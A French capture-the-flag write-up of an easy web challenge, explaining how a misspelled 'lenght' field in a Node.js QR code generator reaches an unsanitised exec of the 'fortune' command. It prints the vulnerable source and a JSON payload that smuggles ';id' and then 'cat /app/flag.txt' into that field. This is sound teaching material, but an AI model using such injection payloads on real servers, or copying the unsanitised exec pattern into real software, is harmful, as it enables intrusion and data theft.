Catégorie Web
Difficulté Easy
Auteur Eteck#3426

Introduction

A company needed a website, to generate QR Code. They asked for a freelance to do this job

Since the website is up, they've noticed weird behaviour on their server

They need you to audit their code and help them to resolve their problem

Flag is situed in /app/flag.txt

Code Source

L’application web permet de générer un QRCode en fonction de la taille de l’entrée utilisateur.

Le code source est donnée sur ce challenge.

├── docker-compose.yml
├── Dockerfile
├── package.json
├── src
│   └── index.js
└── views
    └── index.ejs

Nous allons regardé uniquement le fichier index.js :

const cookieParser = require('cookie-parser')
const express = require('express')
const { exec } = require("child_process");
const qrcode = require('qrcode');

const PORT = process.env.PORT || 4560;

const app = express();
app.set('view engine', 'ejs');
app.use(express.json());
app.use(cookieParser());

class QRCode {
    constructor(value, defaultLength){
        this.value = value
        this.defaultLength = defaultLength
    }

    async getImage(){
        if(!this.value){
            // Use 'fortune' to generate a random funny line, based on the input size
            try {
                this.value = await execFortune(this.defaultLength)
            } catch (error) {
                this.value = 'Error while getting a funny line'
            }
        }
        return await qrcode.toDataURL(this.value).catch(err => 'error:(')
    }
}

app.get('/', async (req, res) => {
    res.render('index');
});

app.post('/generate', async (req, res) => {
    const { value } = req.body;
    try {
        let newQrCode;
        // If the length is too long, we use a default according to the length
        if (value.length > 150)
            newQrCode = new QRCode(null, value.lenght)
        else {
            newQrCode = new QRCode(String(value))
        }
        
        const code = await newQrCode.getImage()
        res.json({ code, data: newQrCode.value });
    } catch (error) {
        res.status(422).json({ message: "error", reason: 'Unknow error' });
    }
});

function execFortune(defaultLength) {
    return new Promise((resolve, reject) => {
     exec(`fortune -n ${defaultLength}`, (error, stdout, stderr) => {
      if (error) {
        reject(error);
      }
      resolve(stdout? stdout : stderr);
     });
    });
   }

app.listen(PORT, async () => {
    console.log(`QR Code Generator is running on port ${PORT}`);
});

Vulnérabilité

Lorsque l’on clique sur le bouton generate, la fonction du même nom associé est lancé. Celle-ci permet de crée un objet QrCode . L’objet QrCode a 2 attributs : value et defaultLength. La fonction execFortune permet de générer une phrase aléatoire de taille defaultLength avec la commande fortune .

Lors de la création du QrCode, une vérification sur la taille de l’entrée utilisateur est effectuée :

if (value.length > 150)
	newQrCode = new QRCode(null, value.lenght)
else {
	newQrCode = new QRCode(String(value))
}

On peut voir que si la taille n’est pas supérieur à 150, on crée un objet QrCode qui a pour value notre entrée de type String.

Dans le cas ou la valeur de notre entrée est supérieur, cela va créer un objet QrCode avec une value null et defaultLength de valeur value.lenght .

On peut directement voir que le paramètre length est mal orthographié. Comme c’est ce paramètre qui va être exécuté dans la commande fortune , il est possible de faire une injection de commande en utilisant ce paramètre.

Exploitation

Il est possible de créer un objet value avec différents champs lors de la requête vers le site. Notre objet aura 2 champs :

  • length : Valeur entière qui contiendra la taille de notre payload pour passer la première condition (>150)
  • lenght : Valeur qui contiendra notre injection La commande fortune -n value.lenght sera executé, il est possible d’injecter une commande si lenght est un payload avec un séparateur comme ;id :
kali@kali:~$ fortune -n 1;id
You're definitely on their list.  The question to ask next is what list it is.
uid=1000(kali) gid=1000(kali) groups=1000(kali)

Notre payload ressemble à ceci :

{
	"value": {
		"length":"151",
		"lenght":";id"
	}
}

On envoie donc la requête suivante avec Burp, pour la génération d’un QRCode :

Hello Friend

Le serveur nous répond avec 2 champs, dont data, qui contient la sortie de notre commande :

Hello Friend

Flag

Notre exécution de commande fonctionne, nous allons donc récupérer le flag avec le payload cat /app/flag.txt :

Hello Friend